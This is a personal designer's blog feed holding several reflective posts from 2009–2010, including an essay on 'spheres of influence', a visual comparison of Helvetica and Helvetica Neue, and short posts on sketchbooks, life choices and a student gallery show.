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	<title>travisneilson* &#187; Thought</title>
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		<title>Secret Failure</title>
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		<pubDate>Wed, 14 Jul 2010 06:30:24 +0000</pubDate>
		<dc:creator>Travis Neilson</dc:creator>
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		<title>About Spheres</title>
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		<pubDate>Sat, 24 Apr 2010 10:08:49 +0000</pubDate>
		<dc:creator>Travis Neilson</dc:creator>
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		<description><![CDATA[Spheres of Influence Prologue Two days after we buried my Grandfather my little girl came into the world. As one generation passed on to the next life, so a new generation began in this. Once I had time to pause and reflect upon these recent events I noticed an interesting thing: about the same number [...]]]></description>
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<div class="grid_12 sphere-title"><h2>Spheres of Influence</h2>
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<h3>Prologue</h3>

<p>Two days after we buried my Grandfather my little girl came into the world. As one generation passed on to the next life, so a new generation began in this. Once I had time to pause and reflect upon these recent events I noticed an interesting thing: about the same number of people came to visit my daughter upon her birth as those who came to pay their last respects to my grandfather upon his death.

</p>

<p>Were these numbers a coincidence? Or, I thought to myself, could it be true that, in general terms, the number of people that care about your death is nearly the same as the amount of people that care about your birth?</p>

<p>
This thought intrigued me greatly. As visitors and well-wishers came and went, I tried to discern their motivations for doing so. What brought them? Why did they care at all about our new baby girl? And why, in comparison, did those mourners stand at the gravesite of my grandfather? Is there a supreme compelling phenomenon that gathers a specific number of sundry people together at every birth and funeral? No, of course not. What then?</p>

<p>Over time I realized that the number of people I noticed (the very thing that first sparked my interest) was insignificant — but that there was indeed a gem of discovery in my line of questioning. It’s the connection that these people have that is the important matter. Sundry? Far from it, these people are connected. They are encompassed about by one singular uniting force, they are are wrapped in a common sphere of influence.</p>

<h3>Defining Spheres of Influence</h3>

<p>I want to, for the purposes of this discussion, define the group of people that care about you, and in turn, are influenced by your life as those people included in your <em>sphere of influence</em>. 

</p>

<p>Consider, for a moment, the greatness of a man. Consider his accomplishments, his triumphs and achievements. Consider the greatest men and the songs that carried their legends through the ages. Note that through all the stories, through all the legends and histories, the protagonist is never the hero. Indeed, the heroes are the beneficiaries of the great deeds. They are, in fact, the legends.</p>

<div style="float:right;margin:0px 160px 0px 20px;width:252px;">
<img src="http://travisneilson.com/wp-content/upLoads/spheres-george2.png" /><p class="sphere-caption">Did I mention that George Washington was also the only american president to ever have congress commission a statue of themselves resembling the Grecian god Zeus.</p>
</div>



<p>Let me give, for an example, the story of the great American hero: George Washington. Of course history has produced its Generals and war heroes, but few are as impressive in my mind as the first American President. It’s not just his impressive track record of destroying british opposition all across the colonial new world, or the mind-blowing fact that he was asked outright to be the King of America. What most impresses me about George Washington was his immense sense of integrity and humility. When Washington was asked to be King he refused and only reluctantly agreed to be the President. (This being the only occurrence in our history when the electoral collage gave 100% of their votes to a single candidate.) Indeed, he even refused the titles “Majesty” and “Highness” in favor of the more reserved and less aggrandized “Mr. President.” When the 1st United States congress voted to give him a $25,000 salary (which was a healthy sum in those days) he declined the salary, since he valued his image as a selfless public servant more. After reluctantly serving a second term as president, he refused to run for a third, establishing the customary policy of a maximum of two terms for a president. After eschewing the request to continue being President till he died, the man went to Mount Vernon to become a farmer. He was a powerful, commanding man with great vision, who led with honor and conviction. Washington is the only man in history to have ever reached his status of power and influence only to willingly give it up the way he did, to teach us a better way. One hundred percent awesome.</p>



<p>These are but a few citations that I hope establish the fact that I feel that George Washington is a complete legend of a man. But, in all soberness, let me ask: why? Why do I, personally,  believe — over 280 years later — that George Washington was a great man? What has convinced me? Is it because of the tasks and achievements themselves? No, with a bit of thought we can observe that the tasks themselves have no voice, but it was the people who were affected by his works that carried his story. The people who were influenced by his policies and decisions, by his bravery and his leadership, they are the singers of his songs to the next generation. </p>

<p>

By this example, we can see then, that the mark of a man’s worth is, in many ways, his sphere of influence.</p>

<h3>Quantitative Sector</h3>

<p>The sphere of influence that we all have and carry with us from station to station in life grows or shrinks, depending on a number of variables. Geographic location, age, family size, religious affiliation, community activity and sexual orientation can all affect the size of the sphere. Simply put, the more people you know, who are impacted by your life, the bigger your sphere of influence.

</p>

<p>This is why many people seek celebrity or public office — or even to have more twitter followers. They sense the connection that their personal worth is in relation to the size of their sphere of influence. It follows that if they can increase the number of people in that sphere, they, themselves, become of a higher value.</p>

<p style="test-align:center;"> 

<img src="http://travisneilson.com/wp-content/upLoads/spheres-value.png" /></p>

<p>

But what of the man who never finds — or looks for — the celebrity heretofore spoken of. My Grandfather was just such a man. The highlights of his life were his service in the navy, in his providence to his family, and in his reputation among his peers in the printing industry.</p>

<p>

It could be observed, at this point (considering only this quantitative view of the sphere of influence) that such a life was worth very little. That, because the sheer number of people wrapped in his sphere of influence was less than the latest pop icon or political figure, so was his value.</p>

<h3>Qualitative Sector</h3>

<p>Try to tell that to his Daughters who, through tears and snivels, testified of the way he made each of them feel like she was his favorite. Tell that same story to the Grandson who he took under his wing and taught to be a man, the way only one man can teach another.

</p>

<p>It may be obvious that there is another variable by which to judge a man’s worth, other than by how far-reaching his sphere may be. There is a Qualitative component that balances the Quantitative.</p>

<p>

A simple truth: the quality and depth of his relationships, taken on an individual basis, are the most valuable things a man can have. Can this be argued?

</p>

<p>Quantitative data is easy to understand and use, qualitative data however, is not so. How can you measure a relationship? There is no rod against which to measure such a thing, furthermore the nature of the thing in question — a relationship — is constantly in flux. For example: sometimes I like you, sometimes I don’t.

</p>

<p>So how does one measure the strength of his influence? The first step, I suppose, is to identify the relationships wherein that influence is found. Simplified, a visual representation of my own relationships look like this:</p>

<p style="margin:0px;text-align:center;"><img src="http://travisneilson.com/wp-content/upLoads/spheres-roles.png" /></p>

<p>
I have taken my life and boiled it down to my core life-roles. It can be seen that I am a Father, Husband, Son, Brother, Colleague, Friend, and so on. Some of these roles overlap and some of them are disparate. Some of them carry a heavier weight, or in other words: a greater value. Over time, the roles I have evolve and change. Father is an entirely new role for me. These roles represent sub-sections of my sphere of influence, or even mini-spheres. What kind of influence do you have professionally over your colleagues? What about in your home over your family members? Does the value you place on the relationships outside of the home take precedence over the ones inside of it? If so, what does that say about you? The real question is this: who are you hoping will sing your songs when you are no more?</p>

<p>

After an inventory is made of the roles, and value of each role’s relationships assessed, a clearer picture of your qualitative value emerges.</p>

<h3>The value of an extraordinary life</h3>

<p>Thinking back to the statement I made earlier that “the mark of a man’s worth is, in many ways, his sphere of influence.” I would like to append to that statement the idea that the total value of his sphere is the sum of both its <em>breadth</em> and its <em>depth</em>. Meaning that to be a valuable person, to truly live an extraordinary life, you must strive to reach and influence as many people as deeply and as profoundly as you possibly can.</p>

<p style="text-align:center;margin:40px 0px 0px 0px;"><img src="http://travisneilson.com/wp-content/upLoads/spheres-fin.png" /></p>


<h3>Epilogue</h3>

<p> This article started out being just a “stream of conscious” writing exercise and ended up being quite an undertaking. It’s never taken me this long to write anything and I’ve never had so many revisions. I hope that it shows. Thank you to my inspirations: Grandpa Robert Schmidt, Parker Neilson, and a random conversation I had years ago with a stranger in England. Also to the kind people who proof read this article and challenged my theories: Jayna Neilson, Max Supera, Joy Wilson and Jim Cooney.  Without you I am sure it would have been much less than it is now. Thanks to Jake Casto for letting me know how awesome Washington is.</p>
<p>

I hope that you, as the reader, have taken something from this. I know it can be a bit heavy at times, but I feel questions like this are important to keep my life on track. Please let me know your thoughts in the comment section below, I’d love to hear other perspectives. Also, If you were impressed by any of these concepts, please share them with the people in your sphere of influence!</p>

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		<title>Old VS Neue</title>
		<link>http://travisneilson.com/thought/old-vs-neue/</link>
		<comments>http://travisneilson.com/thought/old-vs-neue/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 21:23:59 +0000</pubDate>
		<dc:creator>Travis Neilson</dc:creator>
				<category><![CDATA[Thought]]></category>
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		<category><![CDATA[Form and Function]]></category>

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		<description><![CDATA[Old Verses Neue the study of a famous font and his bastard brother. Recently there has been a lot of commotion about the typeface Helvetica. In 2007 a very popular film was created to document the 50th anniversary of this prolific face.2 According to not-a-few accounts3 this film only served to fan the flame of [...]]]></description>
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<h2 class="goodbye">Old Verses Neue</h2>
<p class="goodbye">the study of a famous font and his bastard brother.</p>
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<p class="section_lead">Recently there has been a lot of commotion about the typeface Helvetica. In 2007 a very popular film was created to document the 50th anniversary of this prolific face.<sup><a name="note2" href="#notes">2</a></sup> According to not-a-few accounts<sup><a name="note3" href="#notes">3</a></sup> this film only served to fan the flame of what may have been a passing resurgence of a fad into an all-out neo-modernist revival in the usage of the face. Who can complain? Helvetica is a gift from the Swiss gods of type design.</p>
<div class="max">
<img src="http://travisneilson.com/wp-content/upLoads/neue_max.jpg" />
<p class="caption">Max Miedinger, Helvetica’s dad. <br />Not pictured is Eduard Hoffmann, Helvetica’s mom.</p>
</div>
<div class="history_wrap">
<h3 class="history_h">an abbreviated history</h3>
<p class="history_p">For those of my readers who are not familiar with the historical significance of Helvetica it will suffice to say that Helvetica was designed in the late 50’s to be marketed as a competitor in the Swiss market with the established and popular Akzidenz-Grotesk.<sup><a name="note4" href="#notes">4</a></sup> Helvetica’s popularity in the 50’s, 60’s and 70’s was unmatched as it was adopted internationally for uses in branding, advertising and communications. It was, in a way, a rebuttal to the swashy hand-lettered signs and ads of the era, and in some cases represented a new way of thinking, a breath of fresh air, and a way to get rid of the clutter.<sup><a name="note5" href="#notes">5</a></sup> These tenants of simplifying and reducing were also held by the Modernists of that time, who adopted Helvetica as what came to be interpreted in some minds as the de-facto typeface of that movement. (Of course Helvetica was not used exclusively, but its prominence can not be denied.) One of the major reasons that Helvetica was so successful in these conditions is that visually, the letter forms were neutral in implied meaning<sup><a name="note6" href="#notes">6</a></sup> — as opposed to a script which often implies elegance or formality, or a serif face which can have a scholarly or official implication. Helvetica was intended to be neutral in its visual implications, in fact the very name itself — Helvetica<sup><a name="note7" href="#notes">7</a></sup> — translates to “Swiss,” a personification of a country who has remained historically neutral in almost all instances.</p>
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<h3 class="brother_h">the mysterious brother</h3>
<p class="brother_p">I imagine that most of the people who frequent this blog are at least familiar with the history of Helvetica. What may not be so obvious is the history of the variant Helvetica Neue. If you own a Mac you will have noticed that the default font in many of the applications is Helvetica. If you have played around with the pre-installed fonts you may have come across Helvetica Neue. There are eleven faces included in this family, compared to the four included in the default installation of Helvetica. I hope it can become clear why some choose to use the Neue variant.</p>

<h3 class="what_h">what’s neue?<sup><a name="note8" href="#notes">8</a></sup></h3>
<p class="what_p">In 1983, Linotype’s daughter company Stempel AG released a reworking of Helvetica with more structurally unified heights and widths. I was delighted to learn that Erik Spiekermann was the design consultant on the project and also created the literature for the launch. This strikes me as ironic since it was Spiekermann who, in the film mentioned above, railed against the face. His major critique  was that Helvetica has become “ubiquitous” <sup><a  name="note9" href="#notes">9</a></sup> in that it is seen and used everywhere and often with poor taste. Not exactly a criticism of the design of the face itself, but of its use, and often miss-use. Other changes in this newer design include improved legibility, heavier punctuation marks, increased spacing in the numbers and an expanded family of weights, 51 in all.</p>
</div>

<div class="erik">
<img src="http://travisneilson.com/wp-content/upLoads/neue_erik.jpg" />
<p class="caption">Erik Spiekermann, <strike>German. <br />What more do you need to know?</strike> Type-o-maniac.</p>
</div>

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<p class="section_lead">For the longest time I used Helvetica and Helvetica Neue interchangeably and really had no preference for either of them. Not too long ago I decided to take a closer look and compare, letter by letter, to discover the difference, and more importantly, if it even mattered. What I found was not life changing to say the least, but interesting enough to write about it on my day off — Thus!</p>

<div class="process_wrap">
<h3 class="process_h">the process used</h3>
<p class="process_p">In comparing these two fonts made up of shapes nearly identical, there are not many processes that will give an accurate depiction. One cannot, with great success, inspect one and then move their eyes quickly to the other hoping to notice the subtleties of the cuts. I elected to place them one on top of the other, aligned to the center or the stem (whichever appropriate) of the character, using two different colors and a transparency technique to allow a new, third color to appear where the letter forms overlap. In the following studies I have designated Helvetica in a yellow color and Helvetica Neue in cyan. When the two overlap the resulting color is green. I studied both the regular and bold weights, but I am showcasing only the bold as it is more … substantial in larger sizes.<br /><br />
In the following I will select the letters I feel showed the biggest departure in the redesign of Helvetica Neue, and for each I will give my opinion about which I like better. Keep in mind please, that I am a self-taught type-lover and these are only my observations — they may be a bit naive.</p>
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<img style="margin-left:20px;float:left;margin-top:43px;" src="http://travisneilson.com/wp-content/upLoads/neue_bigA.png" />

<img style="margin-bottom:80px;" class="grid_12" src="http://travisneilson.com/wp-content/upLoads/neue_alphabet.png" />

<img style="float:left;" src="http://travisneilson.com/wp-content/upLoads/neue_bigG.png" />
<h3 class="g_h">the letter “G”</h3>
<p class="g_p">Showing major different cuts in the letter “g,” it seems that Helvetica Neue is trying to tighten up things a bit. The first thing that should be obvious is that the height of the lowercase is taken in; both the top and the bottom of the letter show results from this trim. As a result, a bit of definition in the arc of the loop leading up to the terminal is lost. In this instance I prefer the original cut.<br /><br />
The capital “G” tells the same story. The arc, or shoulder, is pressed down in comparison to the original Helvetica. It’s as if the re-designers were trying to make the letters take up less space. <br /><br />
As Helvetica is known for being a face that is “held” <sup><a name="note10" href="#notes">10</a></sup> by the whitespace in and surrounding it, I wonder why this approach was taken? <br /><br />
In the case of the “Gg,” I prefer Helvetica over Helvetica Neue.</p>
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<div class="m_wrap">
<h3 class="m_h">the letter “M”</h3>
<p class="m_p">In what looks to be a philosophy completely opposite to “g,” “m” has been expanded visually. This way of thinking is most noticeable in the capital form. The fillet, or space between the adjoining strokes in the center of the “M” is not as deep, neither are the cuts on the opposite of these strokes. As a result, the strokes themselves are thickened and the letter form overall is given quite a bit more weight.<br /><br />
This same idea of strengthening is passed on to the lowercase “m” by extending the overall width and pressing down on the top to create a more husky shape.<br /><br />
I had to take a double take when I saw this. In the case of the letter “Mm” I much prefer Helvetica Neue.</p>
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<img style="float:left;margin-left:30px;" src="http://travisneilson.com/wp-content/upLoads/neue_bigM.png" /><div class="clear"></div>

<img style="float:left;" src="http://travisneilson.com/wp-content/upLoads/neue_bigR.png" />

<div class="r_wrap">
<h3 style="margin-left:0px;" class="r_h">the letter “R”</h3>
<p class="r_p">I noticed this difference before the study, in fact it was the very thing that sparked my interest and led to the study itself. The leg of the capital “R” has been re-imagined all together, as opposed to the other re-alignments we have heretofore seen. Helvetica has a curve as you go down the leg, then a swift hook before the final terminal. Helvetica Neue throws the hook out the window, and in doing so, the said ark ends in a sharp point at the terminal. Wow. I know, right? This little feature is only seen in one other instance: the lowercase bold “a.” That letter sees the same change (not pictured.)<br /><br />
The lowercase “r” receives the same expansion in width and compression in height as is seen in the other examples. In this instance it feels like the spur is given room to end properly.<br /><br />
In the case of the “Rr” I mourn the loss of that hook on the leg, but I prefer the spacing and feel of Helvetica Neue.</p>
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<div class="n_wrap">
<h3 class="n_h">the numbers “1” and “2”</h3>
<p class="n_p">My study not only covered both upper and lowercase in both regular and bold weights, but the numerals of each weight also.<br /><br />
In this example we can see the same expanded width and compressed height at work. Interesting to note the flag (is that what we are calling that sticky-outy bit?) on the “1” has been lowered, as has been the terminal of the “2.”<br /><br />
Because of the expansion in the width there is a defined stress on the central stroke of the “2” resulting in a little big more attitude. The flow of that stroke is one of the things that set Helvetica apart from its then competitor, Akzidenz-Grotesk.<br /><br />
In the case of these numerals I prefer Helvetica Neue.</p>
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<img style="margin-left:52px;" src="http://travisneilson.com/wp-content/upLoads/neue_big12.png" />


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<p style="margin-bottom:80px;" class="section_lead">I hope that was as fun and enlightening for you to read as it was for me to discover and write. I guess the only thing to do now is to add up the votes. The sample I took here (these four instances) came from reviewing the entire alphabet and selecting the ones with the greatest differences  and the best talking points between them. You can download the sheet I created to conduct my study and review them for yourself. I’d like to know your opinions and preferences in the comments below.</p>

<img style="margin-left:23px;margin-bottom:80px;float:left" src="http://travisneilson.com/wp-content/upLoads/Neue_votes.png" />

<div class="win_wrap">
<h3 class="win_h">and the<br/> winner is…</h3>
<p class="win_p">Of course this study only concerns two weights from each family, and is therefore slightly limited in its scope.<sup><a name="note11" href="#notes">11</a></sup><br /> I am not recommending that in all cases this is true for all applications, but for this study, the winner is Helvetica Neue with three out of four votes!</p>
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<a href="http://travisneilson.com/wp-content/upLoads/helveticaStudy.pdf.zip"><img style="margin:0px 263px 80px 263px;" src="http://travisneilson.com/wp-content/upLoads/neue_download.png" /></a>

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<p class="notes_title">foot note<span>s</span></p>

<ol>
<li>“Bastard” in the archaic sense, meaning born of parents not married to each other. Used here as a loose reference to the fact that Max Miedinger and Eduard Hoffmann did not create this version of Helvetica.<br />(<a href="#note1">back to article</a>)</li>
<li>I very much recommend viewing <a target="_blank" href="http://www.helveticafilm.com/about.html" class="linkout">this film</a> if you have not done so already. I felt that a balanced and historically accurate view was presented when compared to other sources I have come across.<br />(<a href="#note2">back to article</a>)</li>
<li><a target="_blank" href="http://www.typeradio.org/loudblog/index.php?id=408" class="linkout">TypeRadio</a> interview with Experimental Jetset, wherein they describe the immense attention Helvetica has gotten since the film.<br />(<a href="#note3">back to article</a>)</li>
<li>The <a target="_blank" href="http://en.wikipedia.org/wiki/Helvetica" class="linkout">Wikipedia.com entry for Helvetica</a> has an interesting chart comparing some letterforms from a few typefaces including Akzidenz-Grotesk among others.<br />(<a href="#note4">back to article</a>)</li>
<li>In the Helvetica documentary Michael Bierut gives a well-spoken explanation of this idea. <a target="_blank" href="http://www.youtube.com/watch?v=VDLPAE9wLEU" class="linkout">Watch here.</a><br />(<a href="#note5">back to article</a>)</li>
<li>Wim Crouwel Explains this concept from a very personal perspective. <a target="_blank" href="http://www.youtube.com/watch?v=iOzDUAh5b90" class="linkout">In this clip</a>, starting at 1:18, he describes, as a modernist, why it was so attractive at the time, and what was meant when Helvetica is said to be neutral.<br />(<a href="#note6">back to article</a>)</li>

<li>Originally named “Neue Haas Grotesk,” the parent company, (Stempel) of the original design company that made Helvetica, (Haas) suggested that the face be called “Helvetia” (in latin, a ‘tia’ is pronounced ‘tsia’) which is the original Latin name for Switzerland. Edward Hoffmann ignored this suggestion thinking it was inappropriate to name a typeface after a country proper. “Helvetica” was finally decided upon as it inferred being “from Switzerland” or “Swiss,” as opposed to being the actual country itself.<br />(<a href="#note7">back to article</a>)</li>
<li>I have used the word “neue” here ironically as a replacement for the word “new.” Althought “neue” is the German translation of “new” it is pronounced “noy-a.” <a target="_blank" href="http://www.forvo.com/word/neue" class="linkout">Listen here.</a> The funny thing is that when you talk to a client or a layman friend and say “Helvetica Noy-a” you sound like an elitest typo-nerd.<br />(<a href="#note8">back to article</a>)</li>
<li>I dont know if it is just the same phenomenon you experience when you buy a car and then see that same car everywhere, but since the film I have heard Helvetica described as “ubiquitous” far to often. Mostly in podcasts now that I think of it. Guys, lets make it a point not to use big words over and over just to impress your friends. Some alternatives are: “everywhere” “pervasive” “ever-present” or “prevalent” — even “inescapable.” Good? Good. I just wanted to get that off my chest.<br />(<a href="#note9">back to article</a>)</li>
<li>As Mike Parker explains in the Helvetica film at the 20:22 mark. (I couldn’t find the clip on YouTube, you will have to watch your own copy.) I swear in preparing for this article I didn’t only watch that movie — but again, it is a great resource.<br />(<a href="#note10">back to article</a>)</li>
<li>There are many weights that were not considered in this study. As Helvetica Neue has 51 in the family I find that I tend to go there to find what I want, however Helvetica has a very nice series of compressed faces that I find very useful and elegant in some instances. I don’t recommend one over the other, I recommend that care always be taken when choosing a face. It is important to rationalize type choice every time.<br />(<a href="#note11">back to article</a>)</li>
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		<title>Sketch Books</title>
		<link>http://travisneilson.com/thought/sketch-books/</link>
		<comments>http://travisneilson.com/thought/sketch-books/#comments</comments>
		<pubDate>Sun, 17 Jan 2010 09:09:15 +0000</pubDate>
		<dc:creator>Travis Neilson</dc:creator>
				<category><![CDATA[Thought]]></category>
		<category><![CDATA[Unique]]></category>
		<category><![CDATA[Observations]]></category>

		<guid isPermaLink="false">http://travisneilson.com/?p=2001</guid>
		<description><![CDATA[I have too many sketch books &#38; journals — but that is not my problem. The problem is that i reverence them too much, so much so that I buy a new sketch book only to fill the first few pages, then hesitate to continue for fear that I will make a mistake and ruin [...]]]></description>
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<div style="text-indent:-9999px;">
<p>I have too many sketch books &amp; journals — but that is not my problem.</p>

<p>The problem is that i reverence them too much, so much so that I buy a new sketch book only to fill the first few pages, then hesitate to continue for fear that I will make a mistake and ruin the book. A strange habit I know, but the tragedy is that all of my best work is done on scratch paper that is lost or eventually discarded.</p>

<p>Today I made the vow to break this awful habit.</p>

<p>I swear to fill and entire book before buying another.</p>

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		<title>Default Switch</title>
		<link>http://travisneilson.com/thought/default-switch/</link>
		<comments>http://travisneilson.com/thought/default-switch/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 19:04:56 +0000</pubDate>
		<dc:creator>Travis Neilson</dc:creator>
				<category><![CDATA[Thought]]></category>
		<category><![CDATA[Unique]]></category>
		<category><![CDATA[Observations]]></category>

		<guid isPermaLink="false">http://travisneilson.com/?p=1907</guid>
		<description><![CDATA[As I wait and watch a train click and clack its way past the crossing, I am reminded of a lesson that I divined years ago, a lesson about purpose and intentionality in life. It’s no secret that a train as large as the one I wait on to pass by requires a sizable engine [...]]]></description>
			<content:encoded><![CDATA[<div class="article_wrap default-switch">
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		<p><span class="raised-cap">A</span>s I wait and watch a train click and clack its way past the crossing, I am reminded of a lesson that I divined years ago, a lesson about purpose and intentionality in life. It’s no secret that a train as large as the one I wait on to pass by requires a sizable engine to power it, to take it from one point to the next. It’s also no secret that the only direction that the powerful locomotive can travel in is the one laid out before it by a series of tracks and rails. These rails are intentionally laid out in a complex network of switches, which give the train options as to the direction it travels.</p>

		<p>Imagine for a moment if there were no railway worker to throw the appropriate switches at the right time. Where would the train end up? The likely answer is that it would not end up at its desired location. In order to make a successful journey, the path must be intentionally laid out before the locomotive. As obvious as these facts are, the implications of the principals at play here seem to be lost on most of the people I know.</p>

		<p class="em_para"><img class="curly" src="http://travisneilson.com/wp-content/upLoads/default_switch_curly.png" />The big secret is that life is full of switches. There are big switches and little ones. I define these switches as points in life’s journey where an option is presented. Leave the switch as it is <span class="fix_you">(</span>follow the course you are currently on<span class="fix_you">)</span>, or throw the switch, and change direction. Sadly, I see people often accepting life’s default switches and following blindly the path that is laid before them, giving no thought  to options that are proffered repeatedly.</p>

		<p>Do you think little kids close their eyes at night and dream of becoming a store clerk, or a middle manager at a temp agency when they grow up? No, of course not, they dream of being rocket-men and race car drivers. The reason they don’t end up fulfilling their fantasies is because they don’t know they can — because their parents never encourage them to discover what is really required to become a professional , or the school counselor told them to take business classes instead of writing their first novel. How many people do I know who have business degrees and now sell electronics? They say it’s something to fall back on — I say you can’t fall back if you never aspire to climb up. You sir, have allowed your life to travel its path in default, never throwing the switch.</p>

		<p>Why do people not choose their own life’s path? I suppose it is because they are not aware that another option is available. There have been times in my life where I have taken great risks, where I have literally thrown the switch and changed the direction my life was traveling in. These moments are scary and stressful, but also invigorating and liberating. There is nothing like standing of the cusp of failure and working hard toward a defined life goal. It makes me sad that I know only a few people who have had these experiences.</p>

		<p>My final thought is this: <em>unless you want to waste your life, you have to throw the switch.</em> Throw the switch, take the leap, make the choice. Be more intensional about your life. When you realize that you have around eighty years worth of experience to gain — and that’s all — it should scare the sh*t out of you, not because you are scared of dying, but because you may not be <em>really</em> living.</p>
		

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		<title>Resolve In 2010</title>
		<link>http://travisneilson.com/thought/resolve-in-2010/</link>
		<comments>http://travisneilson.com/thought/resolve-in-2010/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 18:27:03 +0000</pubDate>
		<dc:creator>Travis Neilson</dc:creator>
				<category><![CDATA[Thought]]></category>
		<category><![CDATA[Observations]]></category>

		<guid isPermaLink="false">http://travisneilson.com/?p=1882</guid>
		<description><![CDATA[In 2009 one of my biggest failings was that I did not take as much time as I had aught to. I should have been more generous with my time, sharing it with others. Taking more time to think about my work and think about my life. I should have taken more time to be social and spent more time with my wife. This year I will take more time.]]></description>
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		<title>A Gallery Showing</title>
		<link>http://travisneilson.com/thought/a-gallery-showing/</link>
		<comments>http://travisneilson.com/thought/a-gallery-showing/#comments</comments>
		<pubDate>Sun, 20 Dec 2009 20:39:26 +0000</pubDate>
		<dc:creator>Travis Neilson</dc:creator>
				<category><![CDATA[Thought]]></category>
		<category><![CDATA[Unique]]></category>
		<category><![CDATA[Experiences]]></category>

		<guid isPermaLink="false">http://travisneilson.com/?p=1500</guid>
		<description><![CDATA[Back Story Dan McElhattan, designer, instructor, business owner I met Dan McElhattan the 3rd in California at a casting call for — get this — a reality television show about graphic designers. He and I were both chosen to be semi-finalists, and he ultimately being chosen as a finalist in that show whose fate is [...]]]></description>
			<content:encoded><![CDATA[<div class="container_12">
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<div class="body-col-1 grid_12 a-gallery-showing">

<h3 class="copy-start">Back Story</h3>

<div class="left" style="width:203px;margin-left:97px;"><img src="http://travisneilson.com/wp-content/upLoads/danM3.jpg" class="frame" /><p class="caption"><a href="http://m3ad.com">Dan McElhattan</a>, designer, instructor, business owner</p></div>

<p>I met Dan McElhattan the 3rd in California at a casting call for — get this — a reality television show about graphic designers. He and I were both chosen to be semi-finalists, and he ultimately being chosen as a finalist in that show whose fate is still to-be-determined.</p>

<p>Recently, I enrolled in a portfolio review course at the College of Southern Nevada. Imagine my surprise when Dan rounded the corner, entered the classroom, and presented himself as the course instructor. As such, Dan brought a lot to the table. We all benefited from his long experience in the industry, his enthusiasm, and especially his professional contacts. It was through Dan and his connections that I was published twice in as many months in the regional <a href="http://travisneilson.com/2009/11/10/a-page-outta-944/">magazine 944</a>. </p>

<p>One of the final things that Dan brought about for the class was the opportunity to have a senior show, as it were, in the form of a gallery showing. The event was hosted by Frazee Paint at the Holsum Lofts in the Las Vegas downtown arts district. </p>

<h3>Preparation</h3>

<div class="right" style="margin-right:50px;width:150px;"><a href="http://travisneilson.com/wp-content/upLoads/im-poster.jpg"><img src="http://travisneilson.com/wp-content/upLoads/im-poster-e1261271509150.jpg" /></a><p class="caption">as a group we named the show “impression”</p></div>

<p>Being very excited about the show I jumped at the chance to help create awareness and promotional materials for it. I ended up branding the entire show myself — from the postcards and show posters, to the drink menus, way-finding, and name badges.</p>

<p>In addition to getting all of these varied materials organized I had to collect my own items to display. I spent the entire day before the show running to and fro about town collecting sundry items and ensuring that my materials were printed, trimmed, scored, folded, mounted and bound as need be. I had to take a day off work the ensure all the work was done. At the end of the event, my dogs were barkin’!</p>

<h3>Showing</h3>

<p>The main proponent of the show was a series of posters completed by everyone in the group. The posters all centered around the idea or theme of conflict. The poster I had intended on showing was the Tyler Durden quote poster. Unfortunately the dimensions were wrong, that poster was slimmer than the 22”x28” we decided on as a group. so I created a new one. </p>

<img src="http://travisneilson.com/wp-content/upLoads/im-posterlook.jpg" alt="" title="im-posterlook" width="400" height="200" class="frame left" style="margin-left:97px;" />

<div class="right" style="margin-right:50px;width:150px;"><a href="http://travisneilson.com/wp-content/upLoads/life-poster.jpg"><img src="http://travisneilson.com/wp-content/upLoads/life-poster-e1261337039332.jpg" class="frame" /></a><p class="caption">my poster entry</p></div>

<p>This poster was something that I had cooking for a long while. I wanted to know what people thought about life — in general terms, what was their purpose or goal for the next 80 years or so until they expire. My first idea was to stop people in the street and question them directly, but logistically it was not possible and at any rate no one could/would answer the question anyhow. I ended up using twitter to ‘eavesdrop’ on peoples comments. Using search terms I was able to find what people said in their own forums and in their own voice, and the best part — it was already typed up! </p>

<p>Trying not to be selective of content — positive or negative, funny or just plain pathetic, its all in there — I set these comments, into the letterform outlines of the word ‘life’ and formed the design around that idea. I think it turned out quite well and the response was resounding.</p>


<div class="right" style="margin-right:80px;width:120px;"><a href="http://travisneilson.com/wp-content/upLoads/im-table1.jpg"><img src="http://travisneilson.com/wp-content/upLoads/im-table1-120x120.jpg" width="120" height="120"  /></a><p class="caption">one of my tables, showcasing some of my work</p></div>

<p>In addition to the posters hanging around the room, we had table space that we were able to fill with our various work samples. I had a number of past projects reprinted and produced for the show, among them were the <a href="http://travisneilson.com/2009/10/15/hfj-type-booklet/">H&amp;FJ catalogue</a>, the <a href="http://travisneilson.com/2009/03/28/cmyk-booklet/">CMYK booklet</a>, and several <a href="http://travisneilson.com/2009/11/05/concert-poster/">posters</a> that I had created recently. In addition I created an entirely new marketing piece intended to be left behind in meetings, or mailed out to prospective clients. This piece was a folding poster that was completed by a bellyband.</p>

<h3>Response</h3>

<p>Dan invited 30 or so VIP’s to come for the first block of the show, which was a closed, invitation-only portion. These VIP’s were given ballots and comment cards and were encouraged to vote for their favorite piece and also overall portfolio.</p>

<div class="solo" style="width:640px;margin-left:97px;"><img src="http://travisneilson.com/wp-content/upLoads/im-judges.jpg" /></div>
<p class="left caption solo" style="width:195px;margin-left:97px!important;">entertaining the judges and answering their questions was the funnest part</p>

<p>After they had all cast their ballots Dan pulled us all aside and allowed us to choose if we wanted to read them or not. I really enjoyed reading everyones comments about my work, it was very positive over all. The number of people who cited my work as the “best of show” was overwhelming and I am grateful for the recognition and appreciation.</p>

<h3>Summary</h3>

<img src="http://travisneilson.com/wp-content/upLoads/im-lanyard.jpg"  class="left" style="width:203px;margin-left:97px;" />

<p>What started out as a semester that I was planning on quickly zipping up and getting done turned out to be one that was full of opportunity and excitement, mostly due the the passion and commitment that Dan has for the work and his students. I look forward to seeing what Dan’s students come up with next semester. If they do hold another gallery showing I’ll be very interested in attending — possibly in the capacity of a judge, eh Dan?</p>

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		<title>My Logo, Cupcaked</title>
		<link>http://travisneilson.com/thought/my-logo-cupcaked/</link>
		<comments>http://travisneilson.com/thought/my-logo-cupcaked/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 07:43:26 +0000</pubDate>
		<dc:creator>Travis Neilson</dc:creator>
				<category><![CDATA[Thought]]></category>
		<category><![CDATA[Experiences]]></category>

		<guid isPermaLink="false">http://travisneilson.com/?p=1488</guid>
		<description><![CDATA[This week I stepped into my late 20’s. I must say, it’s a bitter-sweet experience. One of the sweetest parts by far was when my little sister surprised me with these wonderful Asterisk Logo cupcakes that she had made for me. Anyone want to help me get rid of these things?]]></description>
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		<title>Golden Canopy</title>
		<link>http://travisneilson.com/thought/golden-canopy/</link>
